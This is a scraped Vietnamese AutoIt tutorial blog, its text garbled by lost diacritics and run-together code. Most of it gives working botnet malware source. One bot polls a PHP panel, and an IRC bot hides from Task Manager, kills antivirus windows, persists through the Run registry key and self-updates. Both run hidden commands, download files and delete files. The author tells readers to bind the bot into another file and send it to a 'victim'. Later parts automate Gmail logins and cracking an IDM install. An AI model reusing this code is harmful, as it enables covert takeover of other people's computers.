$sName = StringLower(StringReplace($sName, StringTrimLeft($sName, StringInStr($sName, ".", 1, -1) - 1), "")) If StringStripWS($sName, 8) = "" Or StringStripWS($sFilePath, 8) = "" Then Return SetError(1, 0, 0) EndIf
Switch $iRunOnce Case 1 $sRunOnce = "Once" Case 2 $sRunOnce = "OnceEx" EndSwitch
If @OSArch = "X64" Then $i64Bit = "64" EndIf If $iAllUsers Then $sRegistryKey = "HKEY_LOCAL_MACHINE" & $i64Bit & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & $sRunOnce & "\" Else $sRegistryKey = "HKEY_CURRENT_USER" & $i64Bit & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & $sRunOnce & "\" EndIf Return RegWrite($sRegistryKey, $sName, "REG_SZ", $sFilePath & " " & $sCommandline)EndFunc ;==>_StartupRegistry_Install
; #FUNCTION# ====================================================================================================================; Name ..........: _StartupRegistry_Uninstall; Description ...: Deletes the entry in the 'All Users/Current Users' registry.; Syntax ........: _StartupRegistry_Uninstall([$sName = @ScriptName[, $sFilePath = @ScriptFullPath[, $iAllUsers = 0[,; $iRunOnce = 0]]]]); Parameters ....: $sName - [optional] Name of the program. Default is @ScriptName.; $sFilePath - [optional] Location of the program executable. Default is @ScriptFullPath.; $iAllUsers - [optional] Was it added to the current users (0) or all users (1). Default is 0.; $iRunOnce - [optional] Was it always run at system startup (0), run only once before explorer is started (1); or run only once after explorer is started (2). Default is 0.; Return values .: Success - Returns 1; Failure - Returns 0 & sets @error to non-zero; Author ........: guinness; Modified ......:; Example .......: Yes; ===============================================================================================================================Func _StartupRegistry_Uninstall($sName = @ScriptName, $sFilePath = @ScriptFullPath, $iAllUsers = 0, $iRunOnce = 0) Local $i64Bit = "", $iCount = 1, $sRegistryKey, $sRegistryName, $sRegistryValue, $sRunOnce
$sName = StringLower(StringReplace($sName, StringTrimLeft($sName, StringInStr($sName, ".", 1, -1) - 1), "")) If StringStripWS($sName, 8) = "" Or StringStripWS($sFilePath, 8) = "" Then Return SetError(1, 0, 0) EndIf
Switch $iRunOnce Case 1 $sRunOnce = "Once" Case 2 $sRunOnce = "OnceEx" EndSwitch
If @OSArch = "X64" Then $i64Bit = "64" EndIf If $iAllUsers Then $sRegistryKey = "HKEY_LOCAL_MACHINE" & $i64Bit & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & $sRunOnce & "\" Else $sRegistryKey = "HKEY_CURRENT_USER" & $i64Bit & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & $sRunOnce & "\" EndIf
While 1 $sRegistryName = RegEnumVal($sRegistryKey, $iCount) If @error Then ExitLoop EndIf
$sRegistryValue = RegRead($sRegistryKey, $sRegistryName) If ($sRegistryName = $sName) And ($sRegistryValue = $sFilePath) Then RegDelete($sRegistryKey, $sName) EndIf $iCount += 1 WEnd Return 1EndFunc ;==>_StartupRegistry_Uninstall
Chng ta kt thc bi ny y ^^, cc bi sau mnh s hng dn cc bn cch vit mt chng trnh iu khin my tnh t xa v cch to mt phn mm dng silent install (IDM) , cc bn nh theo di nh :">Chng trnh iu khin my tnh t xa bng Autoit (Phn 1 : Botnet PHP)
Ton mn hnhIn bi vit
Vit chng trnh iu khin my tnh t xa bng AutoitPhn 1 : Botnet PHP
Hm nay mnh s trnh by cc bc to ra mt con Botnet c kh nng iu khin my tnh t xa vi cc lnh c lp trnh sn hoc cc lnh m c ng gi bi Autoit (download , upload , get process list , print screen ... ) , mnh khng khuyn khch to ra Botnet thc hin cc hnh vi DDOS c quy m , nh cp cc thng tin mt , CC ... hay cc hnh vi ph hoi h thng ca ngi khc ...Bi ny di mnh chia lm 2 phn : Botnet PHP v Botnet IRC :">
S lc v Botnet :Botnetl t ch mt tp hp cc rbt phn mm hoc cc con bot hot ng mt cch t ch. Cc con bot c th c lp trnh c kh nng t n giu v pht tn qua internet , xm nhp vo h thng ngi dng v iu khin cc my tnh b nhim . Cc my tnh b iu khin bi Botnet c gi l cc my tnh thy ma (zombie hay daemon) , cc con botnet ly nhim vo h thng s thc hin cc tc v mt cch t ng hoc nhn lnh trc tip t ngi iu khin vo cc mc ch c nh sn ...M ngun BotnetPHP.au3:
#Notrayicon#include #include $panel = "http://127.0.0.1/direct.php" ; ng dn n tp tin lnh (cng ng dn vi botnet.php) , tp tin ny s c t ng khi to bng php$CD = DriveGetDrive("ALL")While (1) $con = _INetGetSource($panel) ; c lnh t $panel sleep(1000) if $con then ExCmd() ; Thc hin lnh t ni dung tp tin hc endif ;dangky() ; Ghi kha ln registry v khi ng cng h thng (ch nn s dng khi cn thit) Sleep(3000)WEndFuncExCmd() ; Phan tich va thuc hien lenh If StringInStr($con, "RUN#", 2) Then $cmd = StringSplit($con, "#") If StringInStr($con, "#SHOW", 2) Then Run($cmd[2]) Else Run($cmd[2], "", @SW_HIDE) EndIf Sleep(7000) ElseIf StringInStr($con, "DOWNLOAD#", 2) Then $cmd = StringSplit($con, "#") InetGet($cmd[2], $cmd[3], 1, 0) Sleep(7000) ElseIf StringInStr($con, "KILL#", 2) Then $cmd = StringSplit($con, "#") Run("TASKKILL /F /IM " & $cmd[2] & ".exe", "", @SW_HIDE) Sleep(7000) ElseIf StringInStr($con, "DELETE#", 2) Then $cmd = StringSplit($con, "#") FileDelete($cmd[2]) Sleep(7000) ElseIf StringInStr($con, "VISIT#", 2) Then $cmd = StringSplit($con, "#") if $cmd[3]=='show' then _IECreate($cmd[2], 0, 1, 1) else _IECreate($cmd[2], 0, 0, 1) endif Sleep(7000) ElseIf StringInStr($con, "BOX#", 2) Then $cmd = StringSplit($con, "#") MsgBox(16,$cmd[2],$cmd[3]) Sleep(7000) ElseIf StringInStr($con, "SHUTDOWN", 2) Then Shutdown(1) Sleep(7000) ElseIf StringInStr($con, "RESTART", 2) Then Shutdown(2) Sleep(7000) ElseIf StringInStr($con, "LOCK", 2) Then BlockInput(1) Sleep(7000) ElseIf StringInStr($con, "UNLOCK", 2) Then BlockInput(0) Sleep(7000) ElseIf StringInStr($con, "BEEP", 2) Then Beep(4000,650) Sleep(2000) ElseIf StringInStr($con, "CDOPEN", 2) Then For $i = 1 to $CD[0] CDTray($CD[$i],"open") next Sleep(3000) ElseIf StringInStr($con, "CDCLOSE", 2) Then For $i = 1 to $CD[0] CDTray($CD[$i],"close") next Sleep(3000)
EndIfEndFuncFunc dangky() FileCopy(@ScriptFullPath, @AppDataDir & "\cftmon.exe", 1) RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "cftmon") If @error Then RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "cftmon", "REG_SZ", @AppDataDir & "\cftmon.exe") $Open_Regedit = RegRead("HKEY_CLASSES_ROOT\regfile\shell\open\command", "(Default)") If $Open_Regedit 'regedit.exe' Then RegWrite("HKEY_CLASSES_ROOT\regfile\shell\open\command", "(Default)", "REG_SZ", "regedit.exe")EndFunc
y l m ngun con Botnet PHP m mnh vit lu , vn cn n gin v s khi vi cc chc nng mnh lp trnh sn trong m ngun , ch thch ca cc chc nng mnh vit sn trong file botnet.php nh km sau (Code php mnh c trang tr mt cht , nu ko thch th cc bn t trang tr li nh ^^) :
http://dl.dropbox.com/u/59972213/Blogger/botnet.php.7z
Cch s dng rt n gin , cc bn upload file botnet.php ln host ca mnh sau sa li ng ng dn trong m ngun botnetPHP.au3 , compile m ngun botnetPHP.au3 v gi cho victim ... gn con botnet ny vo mt file bt k qua mt victim th cc bn s dng cng c nBinder Pro 5.5 lm vic ny , cc bn t nghin cu cng c ny nh :"> Th nghim th nghim con BotnetPHP ny , sau khi cc bn upload file botnet.php ln host v sa li dng dn th thc thi botnetPHP sau vo trnh duyt g http://hostcuaban/botnet.php s hin ra khung nhp lnh v bng ch thch lnh cho botnet , sau khi command lnh xong , cc bn bt buc phi xa lnh va command nu khng botnet s thc hin khng ngng lnh ca bn ... xa lnh bng cch trng trong hp thoi lnh v nhn command to mt lnh rng ...
V d lnh :
Visit#http://raito.comli.com#show s m ra trang blog ca mnh ch hin th ( b #show thc thi ch n)
Box#Yagami Raito#Welcome to my Blog s hin th mt hp thoi vi title Yagami Raito v ni dung l Welcome to my Blog
thc hin cc lnh m c ng gi bi Autoit th cc bn s dng cu trc Execute , ch s dng cu trc ny cho khi cc bn quen thuc v nm lng cc cu lnh thc thi trong autoit . S dng Execute , cc bn c th thc thi hng trm lnh cho botnet m ch tn mt hng lnh trong m ngun ... nhng l vn sau ny , khi cc bn nm lng c mt phn cn bn ca ngn ng ny ... t khc s hiu ^^
Phn sau s l Botnet IRC , con ny s quy m v hay hn nhiu , cc bn nh n xem ;)Chng trnh iu khin my tnh t xa bng Autoit (Phn 2 : Botnet IRC)
Ton mn hnhIn bi vit
Vit chng trnh iu khin my tnh t xa bng AutoitPhn2: Botnet IRC
y l phn tip theo ca bi vit v Botnet , phn ny mnh s hng dn vit mt con Botnet hon chnh hn v "chuyn nghip" hn vi kh nng chat iu khin trc tip qua knh IRC v danh sch Bot kt ni nhn lnh ...
Tng quan v IRC :
IRC (Internet Relay Chat) . IRC l mt dng lin lc cp tc qua mng Internet. N c thit k vi mc ch chnh l cho php cc nhm ngi trong mt phng tho lun (channel) lin lc vi nhau. Tuy nhin, n cng cho php hai ngi dng lin lc ring nu h thch.
Hin nay IRC l mng tr chuyn trc tuyn ln, c vi triu knh trn my phc v trn khp th gii
kt ni vo server IRC th cc bn cn phi c phn mm mIRC (link down fullti y) , ch cn nhp tn nick v tn phng c th vo knh chat ngay lp tc m khng cn phi to mt ti khon no .
Source Code :
UDF IRC.au3 (include)
Global $retGlobal $ircFunc _IRCConnect ($server, $port, $nick)Local $i=-1while $i=-1$i = TCPConnect(TCPNameToIP($server), $port)wend
TCPSend($i, "NICK " $nick @CRLF)TCPSend($i, "USER " $nick " 0 0 " $nick @CRLF)Return $iEndFunc
Func _IRCJoinChannel ($irc, $chan)If $irc = -1 Then Return 0TCPSend($irc, "JOIN " $chan " " @CRLF)If @error ThenMsgBox(1, "IRC.au3", "Server has disconnected.")Return -1EndIfReturn 1EndFunc
Func _IRCSendMessage ($irc, $msg, $chan="")If $irc = -1 Then Return 0If $chan = "" ThenTCPSend($irc, $msg @CRLF)If @error ThenMsgBox(1, "IRC.au3", "Server has disconnected.")Return -1EndIfReturn 1EndIfTCPSend($irc, "PRIVMSG " $chan " :" $msg @CRLF)If @error ThenMsgBox(1, "IRC.au3", "Server has disconnected.")Return -1EndIfReturn 1EndFunc
Func _IRCChangeMode ($irc, $mode, $chan="")If $irc = -1 Then Return 0If $chan = "" ThenTCPSend($irc, "MODE " $mode @CRLF)If @error ThenMsgBox(1, "IRC.au3", "Server has disconnected.")Return -1EndIfReturn 1EndIfTCPSend($irc, "MODE " $chan " " $mode @CRLF)If @error ThenMsgBox(1, "IRC.au3", "Server has disconnected.")Return -1EndIfReturn 1EndFunc
Func _IRCPing($ret)If $ret = "" Then Return -1TCPSend($irc, "PONG " $ret @CRLF)If @error ThenMsgBox(1, "IRC.au3", "Server has disconnected.")Return -1EndIfReturn 1EndFunc
UDF FTP.au3 (include)
Func _FTPOpen($s_Agent, $l_AccessType = 1, $s_ProxyName = '', $s_ProxyBypass = '', $l_Flags = 0)
Local $ai_InternetOpen = DllCall('wininet.dll', 'long', 'InternetOpen', 'str', $s_Agent, 'long', $l_AccessType, 'str', $s_ProxyName, 'str', $s_ProxyBypass, 'long', $l_Flags) If @error OR $ai_InternetOpen[0] = 0 Then SetError(-1) Return 0 EndIf
Return $ai_InternetOpen[0]
EndFunc ;==> _FTPOpen()Func _FTPConnect($l_InternetSession, $s_ServerName, $s_Username, $s_Password, $i_ServerPort = 0, $l_Service = 1, $l_Flags = 0, $l_Context = 0)
Local $ai_InternetConnect = DllCall('wininet.dll', 'long', 'InternetConnect', 'long', $l_InternetSession, 'str', $s_ServerName, 'int', $i_ServerPort, 'str', $s_Username, 'str', $s_Password, 'long', $l_Service, 'long', $l_Flags, 'long', $l_Context) If @error OR $ai_InternetConnect[0] = 0 Then SetError(-1) Return 0 EndIf
Return $ai_InternetConnect[0]
EndFunc ;==> _FTPConnect()
Func _FTPPutFile($l_FTPSession, $s_LocalFile, $s_RemoteFile, $l_Flags = 0, $l_Context = 0)
Local $ai_FTPPutFile = DllCall('wininet.dll', 'int', 'FtpPutFile', 'long', $l_FTPSession, 'str', $s_LocalFile, 'str', $s_RemoteFile, 'long', $l_Flags, 'long', $l_Context) If @error OR $ai_FTPPutFile[0] = 0 Then SetError(-1) Return 0 EndIf
Return $ai_FTPPutFile[0]
EndFunc ;==> _FTPPutFile()
Func _FTPGetFile($l_FTPSession, $s_RemoteFile, $s_LocalFile, $l_Flags = 2, $l_Fail = -1, $l_Attributes = 0, $l_Context = 0)
Local $ai_FTPGetFile = DllCall('wininet.dll', 'int', 'FtpGetFile', 'long', $l_FTPSession, 'str', $s_RemoteFile, 'str', $s_LocalFile, 'long', $l_Fail, 'long', $l_Attributes, 'long', $l_Flags, 'long', $l_Context) If @error OR $ai_FTPGetFile[0] = 0 Then SetError(-1) Return 0 EndIf
Return $ai_FTPGetFile[0]
EndFunc;==> _FTPGetFile()
Func _FTPClose($l_InternetSession)
Local $ai_InternetCloseHandle = DllCall('wininet.dll', 'int', 'InternetCloseHandle', 'long', $l_InternetSession) If @error OR $ai_InternetCloseHandle[0] = 0 Then SetError(-1) Return 0 EndIf
Return $ai_InternetCloseHandle[0]
EndFunc ;==> _FTPClose()
Code zz.php (lu thng tin IRC server , tn account , tn phng v in ra IP bot)
[Information] Server=irc.datviet.net Port=6667 Channel=#room Version=1user=yourname update=http://raito.co.cc/botnet.exepast=C:/WINDOWS/system32/system.exe ip=
Server : IRC serverPort : ty thuc vo IRC server (thng l 6667)Channel : tn phnguser : tn ng nhpupdate : ng dn ti bot trn host cp nht sau nypast : ng dn ti bot trn my tnh victim
Code BotnetIRC.au3 :
;_FTPPutFile , While wend , register before ...#include #include #include #include #include #include #include #include #include #include Global $version = "1.0"
FileDelete(@WindowsDir & "\server.txt")InetGet("http://host ca bn/zz.php", @WindowsDir & "\server.txt", 0, 0)If @error Then FileOpen(@WindowsDir & "\server.txt", 8) FileClose(@WindowsDir & "\server.txt")EndIfSleep(1000)$file = FileOpen(@WindowsDir & "\server.txt", 0)$information = StringSplit(FileRead($file), " ")FileClose($file)
Global $server = StringTrimLeft($information[2], 7)Global $port = StringTrimLeft($information[3], 5)Global $nick = @ComputerName & "-" & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1))Global $channel = StringTrimLeft($information[4], 8)Global $new_version = StringTrimLeft($information[5], 8)Global $use = StringTrimLeft($information[6], 5)Global $link = StringTrimLeft($information[7], 7)Global $past = StringTrimLeft($information[8], 5)Global $ip = StringTrimLeft($information[9], 3)Global $openFTP = FalseGlobal $serftp = "" ; FTP server cn cho hm upload fileGlobal $taikhoan = "" ; FTP usernameGlobal $passftp = "" ; FTP passwordGlobal $dir = "" ; ng dn trn host (htdocs,public_html ... ty host)Global $commandGlobal $DDir = "C:/"TCPStartup()Global $sock = _IRCConnect($server, $port, $nick); Ket noi toi IRC va` nhap nick cua botGlobal $LASTCMD = ""Global $login = FalseGlobal $username = ""
While 1 _dangky() ; a chng trnh vo startup khi ng cng windows Hide() ; n chng trnh trong task manager Bot() ; hm chnh gi lnh cho bot thc hin Hide()WEnd
Func Bot() Local $run Local $strtmp $recv = TCPRecv($sock, 8192) If @error Then $sock = _IRCConnect($server, $port, $nick) Local $sData = StringSplit($recv, @CRLF) For $i = 1 To $sData[0] Step 1 Local $sTemp = StringSplit($sData[$i], " ") If $sTemp[1] = "" Then ContinueLoop If $sTemp[1] = "PING" Then TCPSend($sock, "PONG " & $sTemp[2] & @CRLF) If $sTemp[0] BotFunc _dangky() FileCopy(@ScriptFullPath, @AppDataDir & "\cftmon.exe", 1) RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "cftmon") If @error Then RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "cftmon", "REG_SZ", @AppDataDir & "\cftmon.exe") $Open_Regedit = RegRead("HKEY_CLASSES_ROOT\regfile\shell\open\command", "(Default)") If $Open_Regedit 'regedit.exe' Then RegWrite("HKEY_CLASSES_ROOT\regfile\shell\open\command", "(Default)", "REG_SZ", "regedit.exe")EndFunc ;==>_dangkyFunc Hide() $prc = ProcessList("cftmon.exe") If $prc[0][0] > 1 Then ProcessClose("cftmon.exe") EndIf FileSetAttrib(@AppDataDir & "\cftmon.exe", "+SH") If WinExists("[REGEXPTITLE:(?i)Configuration", "") Then WinKill("[REGEXPTITLE:(?i)Configuration]", "") If WinExists("[REGEXPTITLE:(?i)kav]", "") Then WinKill("[REGEXPTITLE:(?i)kav]", "") Dim $ProcName = "cftmon.exe", $TaskManTitle = "Windows Task Manager" $FindIndex = ControlListView($TaskManTitle, "", 1009, "FindItem", $ProcName) If $FindIndex = -1 Then Else $hwnd = ControlGetHandle($TaskManTitle, "", 1009) DllCall("user32.dll", "int", "SendMessage", "hwnd", $hwnd, "int", 0x1008, "int", $FindIndex, "int", 0) EndIfEndFunc ;==>Hide
Cc bn c code trong tng dng v phn tch code bit cch s dng lnh iu khin bot , l $msg[0] tr v li ca lnh , $msg[1] chnh l lnh c gi , $msg[2] , $msg[3] ... tm gi l cc tham s dng lnh ( ty vo s lng tham s m ta c cc cch gi lnh khc nhau , s dng khng ng s lng tham s s pht sinh li nn cc bn nh c k code )
Vy l xong code Botnet IRC , cc bn c thc mc g th c th PM Y! mnh hoc comment bn di hi thm (nhng ch c hi khi bn hc qua cn bn lp trnh , cn khng th mnh s khng gii p) ...
Bi sau mnh s hng dn cch ng nhp v t ng thao tc trn mt trang web ... see ya !T ng ha ng nhp website vi th vin IE ca Autoit
Ton mn hnhIn bi vit
T ng ha ng nhp websitevi th vin IE
phn ny mnh s hng dn cc bn s dng Autoit t ng ha cc thao tc ng nhp vo mt trang web v cc tc v khc nh t ng post bi , ly ni dung trang , t ng submit mt form ....
Th vin ny ng dng kh nhiu , c th vit code get link , code get email , ng nhp ... v t ng ha tt c cc tc v trn nn web
Sau ny mnh s gii thiu mt s th vin khc nh WinHTTP , TCP kt hp cng vi IE c th s dng mt cch linh hot cc thao tc t ng ha trn nn web ...
Trc khi bt u , chng ta cn im qua mt s cng c v yu cu cho phn ny : Code s dng trnh duyt IE thao tc nn my tnh cn phi ci t IE (8.0) tr ln , iu ny th kh n gin v trn win 7 hay win 8 u tch hp sn trnh duyt IE cho ngi dng ri. c th n gin ha cc thao tc khi code , chng ta nn ci thm trnh duyt FireFox s dng cc cng c c sn ca trnh duyt ny. Vi IE ta c th thc hin mi thao tc vi mt trang web nhng i hi phi linh ng , kin nhn v tm ti th mi c th gii quyt mi vn khi thc hin cc tc v mt cch t ng phn ny mnh s hng dn cc bn t ng ng nhp vo Gmail v m hm mail c nhn , sau mnh s cung cp thm mt s code mu khc cc bn t nghin cu v UDF IE .
T ng ng nhp Gmail :
Bc 1: s dng trnh duyt Firefox m trang ng nhp gmail : http://gmail.com
y cc bn ch vo 1 form c 3 input , l form c id="gaia_loginform" , input email (hay "tn ngi dng" c id="Email" v name="Email") , input password (hay "mt khu" c id="passwd" v name="passwd") v cui cng l input signIn (c id="signIn" , name ="signIn" v type="submit" )... cc bn s thc mc ti sao m mnh c c nhng thng tin ny phi khng ? rt n gin chng ta s dng cng c Inspect Element c sn trong FF , ch cn chut phi vo element cn ly thng tin v html code sau click vo Inspect element ...c y nhng thng tin nh trn ,ta chuyn sang bc 2...
Bc 2:Vit code ng nhp Gmail
#include
$email='email ca bn'$pass='password ca bn'
$oIE=_IECreate('http://gmail.com') ; Khi to Object IE v chuyn hng n trang ng nhp Gmail$oForm=_IEGetObjById($oIE,'gaia_loginform'); Ly Object ca form ng nhp (form ny ko c name ,nu form c name th s dng hm _IEFormGetObjByName($oIE,"name))$oEmail=_IEFormElementGetObjByName($oForm,'Email') ; Ly Object ca input email_IEFormElementSetValue($oEmail,$email) ; in email vo khung nhp$oPass=_IEFormElementGetObjByName($oForm,'passwd') ; Ly Object ca input password_IEFormElementSetValue($oPass,$pass) ; in pass vo khung nhp_IEFormSubmit($oForm) ;Submit form ng nhp_IELoadWait($oIE)
#cs; Ch : i vi mt s phin bn IE th s dng hm _IEFormSubmit($oForm) s bo li , khc phc bng hm thay th di y :; submit form ng nhp ta cn c th lm cch khc , l click vo input submit , code nh sau :$oSubmit=_IEFormElementGetObjByName($oForm,'signIn')_IEAction($oSubmit,"click")#ce
Vy l xong code ng nhp Gmail , cc bn c th pht trin thm bng cch s dng mt s hm khc trong th vin IE nh _IEBodyReadHTML ( c source code HTML ca trang) , _IEBodyReadText ( c ni dung thun text ca trang) hay _IELickClickByText (Click vo mt link trn trang web) v mt s hm thao tc vi chui khc t vit mt chng trnh ly mail trong hm th gmail ... ci ny cc bn t tm hiu v thc hnh ^^
Mt s Code mu vi th vin IE:
Xut ra top kt qu tm kim trn Google:
#include #include
Local $aTitles[1][2], $oIE, $oForm, $oQuery, $oLinks, $iCount, $sLinkHTML, $sLinkText
$search = 'autoit'$url = "http://www.google.com/search?hl=vi&q=" & $search$oIE = _IECreate($url)$oLinks = _IELinkGetCollection($oIE)
If IsObj($oLinks) Then $iCount = 0 For $oLink In $oLinks $sLinkHREF = $oLink.href $sLinkText = _IEPropertyGet($oLink, "innertext")
If Not StringInStr($sLinkHREF, "google") And Not StringInStr($sLinkHREF, "javascript") Then $iCount += 1 ReDim $aTitles[$iCount][2] $aTitles[$iCount - 1][0] = $sLinkText $aTitles[$iCount - 1][1] = $sLinkHREF EndIf NextEndIfFor $i = 1 To 2 _ArrayDelete($aTitles, 0)Next_ArrayDisplay($aTitles)
Code xem gi vng v t gi li sut mt s ngn hng :
#include #include #include #include #include
_IEErrorHandlerRegister ()$oIE = _IECreateEmbedded ()
$Form1 = GUICreate("Banks Interest Rate ", 1250, 710, 1, 4)GUISetBkColor(0x000000)$GUIActiveX = GUICtrlCreateObj($oIE, 140,20, 1090, 664)$Group1 = GUICtrlCreateGroup("", 8, 8, 121, 681)$b = GUICtrlCreateButton("SJC", 32, 35, 75, 25, $WS_GROUP)GUICtrlSetCursor (-1, 0)$b3 = GUICtrlCreateButton("AcbBank", 32, 230, 75, 25, $WS_GROUP)GUICtrlSetCursor (-1, 0)$b1 = GUICtrlCreateButton("Phuongnam", 32, 100, 75, 25, $WS_GROUP)GUICtrlSetCursor (-1, 0)$b5 = GUICtrlCreateButton("Military", 32, 360, 75, 25, $WS_GROUP)GUICtrlSetCursor (-1, 0)$b6 = GUICtrlCreateButton("EximBank", 32, 425, 75, 25, $WS_GROUP)GUICtrlSetCursor (-1, 0)$b7 = GUICtrlCreateButton("Maritime", 32, 490, 75, 25, $WS_GROUP)GUICtrlSetCursor (-1, 0)$b2 = GUICtrlCreateButton("SeaBank", 32, 165, 75, 25, $WS_GROUP)GUICtrlSetCursor (-1, 0)$b4 = GUICtrlCreateButton("Donga Bank", 32, 295, 75, 25, $WS_GROUP)GUICtrlSetCursor (-1, 0)$b8 = GUICtrlCreateButton("VietcomBank", 32, 555, 75, 25, $WS_GROUP)GUICtrlSetCursor (-1, 0)$b9 = GUICtrlCreateButton("OceanBank", 32, 620, 75, 25, $WS_GROUP)GUICtrlSetCursor (-1, 0)GUICtrlCreateGroup("", -99, -99, 1, 1)$Group2 = GUICtrlCreateGroup("", 136, 8, 1100, 681)GUICtrlCreateGroup("", -99, -99, 1, 1)
#EndRegion ### END Koda GUI section ###GUISetState(@SW_SHOW)GUISetState(@SW_DISABLE,$Form1)$wait=_IENavigate ($oIE,'http://raito.comli.com')_IELoadWait($wait) GUISetState(@SW_ENABLE,$Form1)
While 1$nMsg = GUIGetMsg()Switch $nMsgCase $GUI_EVENT_CLOSEExit case $b _IEAction ($oIE, "stop") GUISetState(@SW_DISABLE,$Form1) ; Beep(4000, 250) $wait=_IENavigate ($oIE, "http://sjc.com.vn/?n=0")_IELoadWait($wait) GUISetState(@SW_ENABLE,$Form1)
case $b1 _IEAction ($oIE, "stop") GUISetState(@SW_DISABLE,$Form1) ;Beep(4000, 250) $wait=_IENavigate ($oIE, "http://www.southernbank.com.vn/Interest.aspx?lang=vn") _IELoadWait($wait) GUISetState(@SW_ENABLE,$Form1)
case $b2 _IEAction ($oIE, "stop") GUISetState(@SW_DISABLE,$Form1) ;Beep(4000, 250) $wait=_IENavigate ($oIE, "http://www.seabank.com.vn/index.php?option=com_interest_rate&task=listinterest")_IELoadWait($wait) GUISetState(@SW_ENABLE,$Form1)
case $b3 _IEAction ($oIE, "stop") GUISetState(@SW_DISABLE,$Form1) ;Beep(4000, 250) $wait=_IENavigate ($oIE, "http://www.acb.com.vn/laisuat/laisuat_khcn.htm")_IELoadWait($wait)GUISetState(@SW_ENABLE,$Form1)
case $b4 _IEAction ($oIE, "stop") GUISetState(@SW_DISABLE,$Form1) ;Beep(4000, 250) $wait=_IENavigate ($oIE, "http://www.dongabank.com.vn/interest/54/lai-suat-tiet-kiem-vnd")_IELoadWait($wait)GUISetState(@SW_ENABLE,$Form1)
case $b5 _IEAction ($oIE, "stop") GUISetState(@SW_DISABLE,$Form1) ;Beep(4000, 250) $wait=_IENavigate ($oIE, "http://www.militarybank.com.vn/congcu/bieulaisuat.asp")_IELoadWait($wait)GUISetState(@SW_ENABLE,$Form1)
case $b6 _IEAction ($oIE, "stop") GUISetState(@SW_DISABLE,$Form1) ;Beep(4000, 250) $wait=_IENavigate ($oIE, "http://www.eximbank.com.vn/vn/cn_tietkiem_vnd.aspx")_IELoadWait($wait)GUISetState(@SW_ENABLE,$Form1)
case $b7 _IEAction ($oIE, "stop") GUISetState(@SW_DISABLE,$Form1) ;Beep(4000, 250) $wait=_IENavigate ($oIE, "http://www.msb.com.vn/d-lai-suat/0tiet-kiem-lai-suat-cao-nhat")_IELoadWait($wait)GUISetState(@SW_ENABLE,$Form1)
case $b8 _IEAction ($oIE, "stop") GUISetState(@SW_DISABLE,$Form1) ; Beep(4000, 250) $wait=_IENavigate ($oIE, "http://www.vietcombank.com.vn/InterestRates/")_IELoadWait($wait)GUISetState(@SW_ENABLE,$Form1)
case $b9 _IEAction ($oIE, "stop") GUISetState(@SW_DISABLE,$Form1) ;Beep(4000, 250) $wait=_IENavigate ($oIE, "http://oceanbank.vn/Lai-Suat/index.html?ID=1")_IELoadWait($wait)GUISetState(@SW_ENABLE,$Form1)
EndSwitchWEnd
Mt s code khc , sau ny mnh s cp nht sau ...
Bi ny kt thc y ^^!T ng ha ci t phn mm vi Autoit
Ton mn hnhIn bi vit
T ng ha ci t phn mm vi Autoit
bi ny mnh s khng hng dn tng qut m i vo c th mt phn mm nht nh l ci t Internet Download Manager (Chy ngm) ... sau cc bn t tm hiu v thao tc tng t vi cc phn mm khcNguyn liu cho bi ny : Cng c AutoIt Window Info c sn trong gi ci t Autoit IDM bn mi nht (khng c cng khng sao , c th thm vo code download IDM) Mt bn patch IDM (khng c cng khng sao v m ngun c sn)
Hng dn s dng cng c AutoIt Window Info :
Cng c AutoIt Window Info c dng ly thng tin (tiu , trng thi , class v tr) ca ca s , v cc control ph thuc .
S dng : ko th crosshair trong group Finder Tool vo control ca ca s hin hnh ly nhng thng tin cn thit
Cc bn c th tham kho thm hng dn s dng cng c ny ti trang ch ca Autoit :AutoIt Window Information Tool
Sau khi bit cch s dng cng c ny chng ta bt u lp trnh ... sau y l m ngun thc hin t ng ha vic download , ci t , crack v ng k serial IDM hon chnh phin bn mi nht t trang ch :
M ngun IDM Sillent Installer:
#RequireAdmin ; S dng cho win 7 tr ln c UAC#include#include
;############## Tm phin bn mi nht v download v my tnh ############$LinkDownload=_StringBetween(_INetGetSource('http://internetdownloadmanager.com/download.html'),'http://mirror2.internetdownloadmanager.com/','.exe')$vername=$LinkDownload[0]$LinkDownload='http://mirror2.internetdownloadmanager.com/'&$vername&'.exe' ; Link download IDM bn mi nht_InetGetProgress($LinkDownload,@ScriptDir) ; Download v my tnh bt u ci t (c thanh trng thi)ShellExecute(@ScriptDir&'\'&$vername&'.exe') ; Thc thi file ci t IDM sau khi download xong;#########################################################################
WinWaitActive('Internet Download Manager Installation Wizard') ; Tm ngng script cho n khi ca s activeControlFocus('Internet Download Manager Installation Wizard','','[CLASS:Button; INSTANCE:2]') ; Focus vo control cn clickControlClick('Internet Download Manager Installation Wizard','','[CLASS:Button; INSTANCE:2]','left') ; Click vo control vi class xc nh bi Autoit info toolWinWaitActive('Please read IDM license')ControlFocus('Please read IDM license','','[CLASS:Button; INSTANCE:2]')ControlClick('Please read IDM license','','[CLASS:Button; INSTANCE:2]','left')WinWaitActive('Choose Destination Location')ControlFocus('Choose Destination Location','','[CLASS:Button; INSTANCE:2]')ControlClick('Choose Destination Location','','[CLASS:Button; INSTANCE:2]','left')WinWaitActive('Select Program Manager Group')ControlFocus('Select Program Manager Group','','[CLASS:Button; INSTANCE:2]')ControlClick('Select Program Manager Group','','[CLASS:Button; INSTANCE:2]','left')WinWaitActive('Start Installation of Internet Download Manager')ControlFocus('Start Installation of Internet Download Manager','','[CLASS:Button; INSTANCE:2]')ControlClick('Start Installation of Internet Download Manager','','[CLASS:Button; INSTANCE:2]','left')WinWaitActive('Installation Complete')ControlFocus('Installation Complete','','[CLASS:Button; INSTANCE:3]')ControlClick('Installation Complete','','[CLASS:Button; INSTANCE:3]','left')
